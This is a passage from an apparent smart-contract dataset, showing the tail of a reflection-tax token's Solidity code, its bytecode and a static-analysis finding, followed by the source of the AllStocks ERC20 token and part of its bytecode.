_totalTaxPercent; _totalTaxPercent = 0; //removing Taxes } else if(!_taxReverted && _isLiquidityPool[sender]) { _previoustotalTaxPercent = _totalTaxPercent; _totalTaxPercent = 10; //Liquisity pool Buy tax reduced to 10% from 25% } (uint256 rAmount, uint256 rTransferAmount, Fees memory rFee, uint256 tTransferAmount, Fees memory tFee) = _getValues(tAmount); if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient] || (!_taxReverted && _isLiquidityPool[sender])) _totalTaxPercent = _previoustotalTaxPercent; //restoring Taxes _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _rOwned[burnAddress] += rFee._fee0; _rOwned[_governingTaxes._wallet1] += rFee._fee1; _rOwned[_governingTaxes._wallet2] += rFee._fee2; _reflectFee(rFee._fee3, tFee._fee0+tFee._fee1+tFee._fee2+tFee._fee3); if (_isExcluded[sender]) _tOwned[sender] = _tOwned[sender] - tAmount; if (_isExcluded[recipient]) _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; if (_isExcluded[burnAddress]) _tOwned[burnAddress] += tFee._fee0; if (_isExcluded[_governingTaxes._wallet1]) _tOwned[_governingTaxes._wallet1] += tFee._fee1; if (_isExcluded[_governingTaxes._wallet2])_tOwned[_governingTaxes._wallet2] += tFee._fee2; emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256 rAmount, uint256 rTransferAmount, Fees memory rFee, uint256 tTransferAmount, Fees memory tFee) { (tTransferAmount, tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, Fees memory) { Fees memory tFee; tFee._fee0 = (tAmount * _totalTaxPercent * _governingTaxes._split0) / 10**4; tFee._fee1 = (tAmount * _totalTaxPercent * _governingTaxes._split1) / 10**4; tFee._fee2 = (tAmount * _totalTaxPercent * _governingTaxes._split2) / 10**4; tFee._fee3 = (tAmount * _totalTaxPercent * _governingTaxes._split3) / 10**4; uint256 tTransferAmount = tAmount - tFee._fee0 - tFee._fee1 - tFee._fee2 - tFee._fee3; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, Fees memory tFee, uint256 currentRate) private pure returns (uint256, uint256, Fees memory) { uint256 rAmount = tAmount * currentRate; Fees memory rFee; rFee._fee0 = tFee._fee0 * currentRate; rFee._fee1 = tFee._fee1 * currentRate; rFee._fee2 = tFee._fee2 * currentRate; rFee._fee3 = tFee._fee3 * currentRate; uint256 rTransferAmount = rAmount - rFee._fee0 - rFee._fee1 - rFee._fee2 - rFee._fee3; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061021c5760003560e01c8063715018a611610125578063d30299e7116100ad578063ea2f0b371161007c578063ea2f0b37146104ec578063eb1e7387146104ff578063ec28438a14610558578063f2fde38b1461056b578063fe575a871461057e57600080fd5b8063d30299e714610461578063dd62ed3e14610474578063e594707e146104ad578063e85455d7146104c057600080fd5b806395d89b41116100f457806395d89b41146103fe578063a457c2d714610420578063a9059cbb14610433578063c07e3de214610446578063c29c669a1461044e57600080fd5b8063715018a6146103b05780637d1db4a5146103b857806388f82020146103c15780638da5cb5b146103ed57600080fd5b80633685d419116101a857806352390c021161017757806352390c02146103345780635342acb41461034757806353bbf6ac1461037357806370a082311461037c57806370d5ae051461038f57600080fd5b80633685d419146102e857806339509351146102fb578063437823ec1461030e5780634549b0391461032157600080fd5b806318160ddd116101ef57806318160ddd146102a357806318a24b5b146102ab57806323b872dd146102b35780632d838119146102c6578063313ce567146102d957600080fd5b8063053ab1821461022157806306fdde0314610236578063095ea7b31461026e57806313114a9d14610291575b600080fd5b61023461022f36600461235c565b6105aa565b005b60408051808201909152600a81526959656167657220496e7560b01b60208201525b604051610265919061241e565b60405180910390f35b61028161027c366004612332565b61069a565b6040519015158152602001610265565b6011545b604051908152602001610265565b6102956106b1565b6102346106ce565b6102816102c13660046122cc565b610708565b6102956102d436600461235c565b6107b2565b60405160098152602001610265565b6102346102f636600461227e565b610836565b610281610309366004612332565b6109ed565b61023461031c36600461227e565b610a29565b61029561032f366004612375565b610a77565b61023461034236600461227e565b610b15565b61028161035536600461227e565b6001600160a01b031660009081526009602052604090205460ff1690565b610295600f5481565b61029561038a36600461227e565b610c68565b61039861dead81565b6040516001600160a01b039091168152602001610265565b610234610cc7565b610295600c5481565b6102816103cf36600461227e565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b0316610398565b6040805180820190915260068152652ca2a0a3a2a960d11b6020820152610258565b61028161042e366004612332565b610cfd565b610281610441366004612332565b610d96565b610234610da3565b61023461045c366004612308565b610eea565b61023461046f366004612398565b610f3f565b610295610482366004612299565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6102346104bb366004612308565b611175565b6102816104ce36600461227e565b6001600160a01b03166000908152600a602052604090205460ff1690565b6102346104fa36600461227e565b6111ca565b60005460015460408051600160a01b90930463ffffffff908116845280831660208501526401000000008304811691840191909152600160401b820481166060840152600160601b90910416608082015260a001610265565b61023461056636600461235c565b611215565b61023461057936600461227e565b6112d5565b61028161058c36600461227e565b6001600160a01b03166000908152600b602052604090205460ff1690565b3360008181526007602052604090205460ff16156106245760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084015b60405180910390fd5b600061062f83611370565b5050506001600160a01b03841660009081526004602052604090205491925061065a91839150612571565b6001600160a01b038316600090815260046020526040902055601054610681908290612571565b6010556011546106929084906124f0565b601155505050565b60006106a7338484611401565b5060015b92915050565b60006106c967016345785d8a0000633b9aca00612552565b905090565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161061b906124bb565b600e805460ff1916905542600f55565b6000610715848484611525565b6001600160a01b03841660009081526006602090815260408083203384529091529020548281101561079a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161061b565b6107a78533858403611401565b506001949350505050565b60006010548211156108195760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061b565b6000610823611cd8565b905061082f8184612530565b9392505050565b6000546001600160a01b031633146108605760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03811660009081526007602052604090205460ff166108c85760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161061b565b60005b6008548110156109e957816001600160a01b0316600882815481106108f2576108f26125cf565b6000918252602090912001546001600160a01b031614156109d7576008805461091d90600190612571565b8154811061092d5761092d6125cf565b600091825260209091200154600880546001600160a01b039092169183908110610959576109596125cf565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600582526040808220829055600790925220805460ff1916905560088054806109b1576109b16125b9565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806109e181612588565b9150506108cb565b5050565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916106a7918590610a249086906124f0565b611401565b6000546001600160a01b03163314610a535760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000610a8f67016345785d8a0000633b9aca00612552565b831115610ade5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161061b565b81610afc576000610aee84611370565b509294506106ab9350505050565b6000610b0784611370565b509194506106ab9350505050565b6000546001600160a01b03163314610b3f5760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03811660009081526007602052604090205460ff1615610ba85760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161061b565b6001600160a01b03811660009081526004602052604090205415610c02576001600160a01b038116600090815260046020526040902054610be8906107b2565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff1615610ca557506001600160a01b031660009081526005602052604090205490565b6001600160a01b0382166000908152600460205260409020546106ab906107b2565b6000546001600160a01b03163314610cf15760405162461bcd60e51b815260040161061b906124bb565b610cfb6000611cfb565b565b3360009081526006602090815260408083206001600160a01b038616845290915281205482811015610d7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161061b565b610d8c3385858403611401565b5060019392505050565b60006106a7338484611525565b600e5460ff1615610dc65760405162461bcd60e51b815260040161061b90612473565b62015180600f5442610dd89190612571565b11610e315760405162461bcd60e51b8152602060048201526024808201527f5461782063616e206265207265766572746564206f6e6c7920616674657220326044820152633468727360e01b606482015260840161061b565b600e54610100900460ff1615610e825760405162461bcd60e51b815260206004820152601660248201527554617820686164206265656e2052657665727465642160501b604482015260640161061b565b6000805463ffffffff60a01b1916600560a11b179055600180546fffffffffffffffffffffffffffffffff19166c1400000032000000140000000a179055610ed667016345785d8a0000633b9aca00612552565b600d55600e805461ff001916610100179055565b6000546001600160a01b03163314610f145760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610f695760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03821615801590610f8957506001600160a01b03811615155b610fe15760405162461bcd60e51b815260206004820152602360248201527f5461782057616c6c6574732061737369676e6564207a65726f2061646472657360448201526273202160e81b606482015260840161061b565b600a8763ffffffff1611156110385760405162461bcd60e51b815260206004820152601f60248201527f546f74616c205461782050657263656e74204578636565647320313025202100604482015260640161061b565b82846110448789612508565b61104e9190612508565b6110589190612508565b63ffffffff166064146110bf5760405162461bcd60e51b815260206004820152602960248201527f53706c69742050657263656e746167657320646f6573206e6f742073756d207560448201526870746f20313030202160b81b606482015260840161061b565b6000805463ffffffff988916600160a01b0263ffffffff60a01b1990911617905560018054938816600160601b0263ffffffff60601b19958916600160401b02959095166fffffffffffffffff0000000000000000199689166401000000000267ffffffffffffffff19909516979098169690961792909217939093169490941717909155600280546001600160a01b039283166001600160a01b03199182161790915560038054939092169216919091179055565b6000546001600160a01b0316331461119f5760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146111f45760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b0316331461123f5760405162461bcd60e51b815260040161061b906124bb565b6103e861125867016345785d8a0000633b9aca00612552565b6112629190612530565b8110156112d05760405162461bcd60e51b815260206004820152603660248201527f4d6178205472616e73616374696f6e20616d74206d7573742062652061626f766044820152756520302e3125206f6620746f74616c20737570706c7960501b606482015260840161061b565b600c55565b6000546001600160a01b031633146112ff5760405162461bcd60e51b815260040161061b906124bb565b6001600160a01b0381166113645760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061b565b61136d81611cfb565b50565b60008061139e6040518060800160405280600081526020016000815260200160008152602001600081525090565b60006113cb6040518060800160405280600081526020016000815260200160008152602001600081525090565b6113d486611d4b565b909250905060006113e3611cd8565b90506113f0878383611ef9565b919750955093505091939590929450565b6001600160a01b0383166114635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061b565b6001600160a01b0382166114c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061b565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061b565b6001600160a01b0382166115eb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061b565b600e5460ff16158061160457506116028383611ffb565b155b6116205760405162461bcd60e51b815260040161061b90612473565b61162a8383611ffb565b156117be57600c548111156116915760405162461bcd60e51b815260206004820152602760248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152661e105b5bdd5b9d60ca1b606482015260840161061b565b6001600160a01b0383166000908152600b602052604090205460ff1615806116d257506001600160a01b0382166000908152600b602052604090205460ff16155b6117105760405162461bcd60e51b815260206004820152600f60248201526e14db9a5c195c8814995a9958dd1959608a1b604482015260640161061b565b600e54610100900460ff1615801561174157506001600160a01b0382166000908152600a602052604090205460ff16155b156117be57600d548161175384610c68565b61175d91906124f0565b11156117be5760405162461bcd60e51b815260206004820152602a60248201527f52656365697665722061646472657373206578636565647320746865206d6178604482015269121bdb19105b5bdd5b9d60b21b606482015260840161061b565b6001600160a01b03831660009081526009602052604081205460ff16806117fd57506001600160a01b03831660009081526009602052604090205460ff165b1561182757506000805463ffffffff60a01b198116909155600160a01b900463ffffffff16611883565b600e54610100900460ff1615801561185757506001600160a01b0384166000908152600a602052604090205460ff165b1561188357506000805463ffffffff60a01b198116600560a11b17909155600160a01b900463ffffffff165b600080600080600061189487611370565b6001600160a01b038e166000908152600960205260409020549499509297509095509350915060ff16806118e057506001600160a01b03881660009081526009602052604090205460ff165b806119165750600e54610100900460ff1615801561191657506001600160a01b0389166000908152600a602052604090205460ff165b1561193a576000805463ffffffff60a01b1916600160a01b63ffffffff8916021790555b6001600160a01b03891660009081526004602052604090205461195e908690612571565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461198e9085906124f0565b6001600160a01b038916600090815260046020526040812091909155835161dead82527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd8054919290916119e39084906124f0565b90915550506020808401516002546001600160a01b03166000908152600490925260408220805491929091611a199084906124f0565b90915550506040808401516003546001600160a01b031660009081526004602052918220805491929091611a4e9084906124f0565b92505081905550611a9483606001518260600151836040015184602001518560000151611a7b91906124f0565b611a8591906124f0565b611a8f91906124f0565b612045565b6001600160a01b03891660009081526007602052604090205460ff1615611af3576001600160a01b038916600090815260056020526040902054611ad9908890612571565b6001600160a01b038a166000908152600560205260409020555b6001600160a01b03881660009081526007602052604090205460ff1615611b52576001600160a01b038816600090815260056020526040902054611b389083906124f0565b6001600160a01b0389166000908152600560205260409020555b61dead60005260076020527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460ff1615611bcd57805161dead600090815260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054909190611bc79084906124f0565b90915550505b6002546001600160a01b031660009081526007602052604090205460ff1615611c27576020808201516002546001600160a01b03166000908152600590925260408220805491929091611c219084906124f0565b90915550505b6003546001600160a01b031660009081526007602052604090205460ff1615611c80576040808201516003546001600160a01b031660009081526005602052918220805491929091611c7a9084906124f0565b90915550505b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cc591815260200190565b60405180910390a3505050505050505050565b6000806000611ce561206b565b9092509050611cf48183612530565b9250505090565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000611d786040518060800160405280600081526020016000815260200160008152602001600081525090565b611da36040518060800160405280600081526020016000815260200160008152602001600081525090565b6001546000546127109163ffffffff90811691611dc991600160a01b9091041687612552565b611dd39190612552565b611ddd9190612530565b81526001546000546127109163ffffffff640100000000909104811691611e0d91600160a01b9091041687612552565b611e179190612552565b611e219190612530565b60208201526001546000546127109163ffffffff600160401b909104811691611e5391600160a01b9091041687612552565b611e5d9190612552565b611e679190612530565b60408201526001546000546127109163ffffffff600160601b909104811691611e9991600160a01b9091041687612552565b611ea39190612552565b611ead9190612530565b60608201819052604082015160208301518351600093929190611ed09089612571565b611eda9190612571565b611ee49190612571565b611eee9190612571565b959194509092505050565b600080611f276040518060800160405280600081526020016000815260200160008152602001600081525090565b6000611f338588612552565b9050611f606040518060800160405280600081526020016000815260200160008152602001600081525090565b8651611f6d908790612552565b81526020870151611f7f908790612552565b60208201526040870151611f94908790612552565b60408201526060870151611fa9908790612552565b60608201819052604082015160208301518351600093929190611fcc9087612571565b611fd69190612571565b611fe09190612571565b611fea9190612571565b929992985090965090945050505050565b600080546001600160a01b0384811691161480159061202857506000546001600160a01b03838116911614155b801561082f57506001600160a01b03821661dead14159392505050565b816010546120539190612571565b6010556011546120649082906124f0565b6011555050565b60105460009081908161208a67016345785d8a0000633b9aca00612552565b905060005b6008548110156121e7578260046000600884815481106120b1576120b16125cf565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061211c57508160056000600884815481106120f5576120f56125cf565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156121455760105461213a67016345785d8a0000633b9aca00612552565b945094505050509091565b600460006008838154811061215c5761215c6125cf565b60009182526020808320909101546001600160a01b0316835282019290925260400190205461218b9084612571565b925060056000600883815481106121a4576121a46125cf565b60009182526020808320909101546001600160a01b031683528201929092526040019020546121d39083612571565b9150806121df81612588565b91505061208f565b506121fe67016345785d8a0000633b9aca00612552565b60105461220b9190612530565b8210156122355760105461222b67016345785d8a0000633b9aca00612552565b9350935050509091565b90939092509050565b80356001600160a01b038116811461225557600080fd5b919050565b8035801515811461225557600080fd5b803563ffffffff8116811461225557600080fd5b60006020828403121561229057600080fd5b61082f8261223e565b600080604083850312156122ac57600080fd5b6122b58361223e565b91506122c36020840161223e565b90509250929050565b6000806000606084860312156122e157600080fd5b6122ea8461223e565b92506122f86020850161223e565b9150604084013590509250925092565b6000806040838503121561231b57600080fd5b6123248361223e565b91506122c36020840161225a565b6000806040838503121561234557600080fd5b61234e8361223e565b946020939093013593505050565b60006020828403121561236e57600080fd5b5035919050565b6000806040838503121561238857600080fd5b823591506122c36020840161225a565b600080600080600080600060e0888a0312156123b357600080fd5b6123bc8861226a565b96506123ca6020890161226a565b95506123d86040890161226a565b94506123e66060890161226a565b93506123f46080890161226a565b925061240260a0890161223e565b915061241060c0890161223e565b905092959891949750929550565b600060208083528351808285015260005b8181101561244b5785810183015185820160400152820161242f565b8181111561245d576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526028908201527f546f6b656e206973204c6f636b656420666f72204c6971756964747920746f20604082015267189948185919195960c21b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115612503576125036125a3565b500190565b600063ffffffff808316818516808303821115612527576125276125a3565b01949350505050565b60008261254d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561256c5761256c6125a3565b500290565b600082821015612583576125836125a3565b500390565b600060001982141561259c5761259c6125a3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea264697066735822122009f550dd31aadd94ba386aed699c51477ea618f9aa953940bca784aed5e72eea64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,240
0x2d95a6174bc8e6c9550afcdd5a71c584b0f3d08d
pragma solidity 0.4.23; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint256); function balanceOf(address tokenOwner) public constant returns (uint256 balance); function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); function mint(address _to, uint256 _amount) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); require(owner == msg.sender); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // ---------------------------------------------------------------------------- // @title Pausable // @dev Base contract which allows children to implement an emergency stop mechanism. // ---------------------------------------------------------------------------- contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract StandardToken is ERC20Interface, Pausable { using SafeMath for uint256; string public constant symbol = "AST-NET"; string public constant name = "AllStocks Token"; uint256 public constant decimals = 18; uint256 public _totalSupply = 0; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { //start token in puse mode } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint256) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint256 balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public returns (bool success) { //allow trading in tokens only if sale fhined or by token creator (for bounty program) if (msg.sender != owner) require(!paused); require(to != address(0)); require(tokens > 0); require(tokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint256 tokens) public returns (bool success) { require(spender != address(0)); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are not allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) public returns (bool success) { //allow trading in token only if sale fhined if (msg.sender != owner) require(!paused); require(tokens > 0); require(to != address(0)); require(from != address(0)); require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) { return allowed[tokenOwner][spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(_to != address(0)); require(_amount > 0); _totalSupply = _totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // note introduced onlyPayloadSize in StandardToken.sol to protect against short address attacks contract AllstocksToken is MintableToken { string public version = "1.0"; uint256 public constant INITIAL_SUPPLY = 225 * (10**5) * 10**decimals; // 22.5m reserved for Allstocks use // constructor constructor() public { owner = msg.sender; _totalSupply = INITIAL_SUPPLY; // 22.5m reserved for Allstocks use balances[owner] = INITIAL_SUPPLY; // Deposit Allstocks share emit Transfer(address(0x0), owner, INITIAL_SUPPLY); // log transfer } function () public payable { require(msg.value == 0); } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013457806306fdde031461015d578063095ea7b3146101e757806318160ddd1461020b57806323b872dd1461023257806327e235e31461025c5780632ff2e9dc1461027d578063313ce567146102925780633eaaf86b146102a75780633f4ba83a146102bc57806340c10f19146102d157806354fd4d50146102f55780635c6581651461030a5780635c975abb1461033157806370a08231146103465780637d64bcb4146103675780638456cb591461037c5780638da5cb5b1461039157806395d89b41146103c2578063a9059cbb146103d7578063dd62ed3e146103fb578063f2fde38b14610422575b341561013257600080fd5b005b34801561014057600080fd5b50610149610443565b604080519115158252519081900360200190f35b34801561016957600080fd5b5061017261044c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ac578181015183820152602001610194565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f357600080fd5b50610149600160a060020a0360043516602435610483565b34801561021757600080fd5b50610220610500565b60408051918252519081900360200190f35b34801561023e57600080fd5b50610149600160a060020a0360043581169060243516604435610543565b34801561026857600080fd5b50610220600160a060020a0360043516610713565b34801561028957600080fd5b50610220610725565b34801561029e57600080fd5b50610220610734565b3480156102b357600080fd5b50610220610739565b3480156102c857600080fd5b5061013261073f565b3480156102dd57600080fd5b50610149600160a060020a03600435166024356107b9565b34801561030157600080fd5b506101726108e2565b34801561031657600080fd5b50610220600160a060020a0360043581169060243516610970565b34801561033d57600080fd5b5061014961098d565b34801561035257600080fd5b50610220600160a060020a036004351661099d565b34801561037357600080fd5b506101496109b8565b34801561038857600080fd5b50610132610a20565b34801561039d57600080fd5b506103a6610a9f565b60408051600160a060020a039092168252519081900360200190f35b3480156103ce57600080fd5b50610172610aae565b3480156103e357600080fd5b50610149600160a060020a0360043516602435610ae5565b34801561040757600080fd5b50610220600160a060020a0360043581169060243516610c19565b34801561042e57600080fd5b50610132600160a060020a0360043516610c44565b60045460ff1681565b60408051808201909152600f81527f416c6c53746f636b7320546f6b656e0000000000000000000000000000000000602082015281565b6000600160a060020a038316151561049a57600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5460015461053e9163ffffffff610cf716565b905090565b6000805433600160a060020a039081169116146105715760005460a060020a900460ff161561057157600080fd5b6000821161057e57600080fd5b600160a060020a038316151561059357600080fd5b600160a060020a03841615156105a857600080fd5b600160a060020a0384166000908152600260205260409020548211156105cd57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561060057600080fd5b600160a060020a038416600090815260026020526040902054610629908363ffffffff610cf716565b600160a060020a038086166000908152600260209081526040808320949094556003815283822033909316825291909152205461066c908363ffffffff610cf716565b600160a060020a03808616600090815260036020908152604080832033851684528252808320949094559186168152600290915220546106b2908363ffffffff610d0916565b600160a060020a0380851660008181526002602090815260409182902094909455805186815290519193928816927fddf252ad